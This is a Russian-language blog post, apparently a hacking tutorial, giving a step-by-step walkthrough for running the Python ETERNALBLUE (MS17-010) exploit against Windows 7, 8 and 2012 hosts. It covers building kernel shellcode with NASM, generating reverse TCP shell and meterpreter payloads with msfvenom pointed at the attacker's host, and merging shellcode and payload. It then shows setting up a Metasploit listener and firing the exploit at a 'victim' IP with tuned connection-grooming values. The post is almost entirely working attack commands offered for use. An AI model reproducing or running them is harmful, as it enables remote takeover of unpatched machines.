June 4, 2020

Версия эксплоит ETERNALBLUE на Python.

И так, инструменты:
Kali Linux
NASM
Python v2.7
Metasploit Framework

Тестируемый хост должен иметь включенную гостевую учетную запись(иначе получите ошибку) или известную пару логин:пароль!

Шелл-код уровня ядра берем здесь:
https://gist.github.com/worawit/05105fce9e126ac9c85325f0b05d6501#file-eternalblue_x64_kshellcode-asm

Проведем два вида атаки:
1. получим обратный шелл через TCP
2. получим сессию в meterpreter.
Готовим начинку:
Сохраняем .аsm файл и компилируем: nasm -f bin kernel_shell_x64.asm.

#msfvenom -p windows/x64/shell/reverse_tcp -f raw -o shell_msf.bin EXITFUNC=thread LHOST=[хост атакующего] LPORT=4444

#msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o meterpreter_msf.bin EXITFUNC=thread LHOST=[хост атакующего] LPORT=4444

Сольем шелл-код и полезную нагрузку в экстазе:
#cat kernel_shell_x64 shell_msf.bin>reverse_shell.bin
#cat kernel_shell_x64 meterpreter_msf.bin>meterpreter.bin

Готовим Metasploit к тесту:
> use exploit/multi/handler
> set PAYLOAD windows/x64/shell/reverse_tcp
> set LHOST IP_ATTACKER
> set LPORT 4444
> exploit
*Started reverse *****
*Started payload *****
(нехай ждет )

Качаем эксплоит от Sleepya. Берем здесь:
https://gist.github.com/worawit/074a27e90a3686506fc586249934a30e.
Сохраняем как exploit.py

Готовим сплойт для тестирования с использованием на тачке с не отключенной гостевой учетной записью.
Ищем в сплойте строки 42 и 43 и заполняем:
PASSWORD=' '
(Если известны пара L:P применяем их)

Запускаем:
#python exploit.py <ipжертвы> reverseshell.bin 500


Версия эксплоит ETERNALBLUE на Python.
​После запуска сплойта, получаем сессию в Metasploit.
Аналогично поступаем для создания сессии с meterpreter.
Готовим Метасплоит:

> use exploit/multi/handler
> set PAYLOAD windows/x64/meterpreter/reverse_tcp
> set LHOST IP
> set LPORT 4444
> exploit

Редактируем exploit.py (см. выше)
Стартуем эксплоит:
python exploit.py <ip_жертвы> meterpreter.bin 200

Версия эксплоит ETERNALBLUE на Python.
​Значение параметра numGroomConn установим в 200 для уменьшения количества соединений
(500 многовато, практически всегда атакуемая машина выпадает в Time-out, оптимально на мой взгляд ставить 300)
Получаем сессию.

Версия эксплоит ETERNALBLUE на Python.
ЗЫ: Тестировал на машинах(шт.-15), которые ранее не смог пробить стандартным eternalblue_doublepulsar и ms17_010_eternalblue, результат - примерно на 15-25% хостов(Win7,Win8,Win2012) удалось получить сессию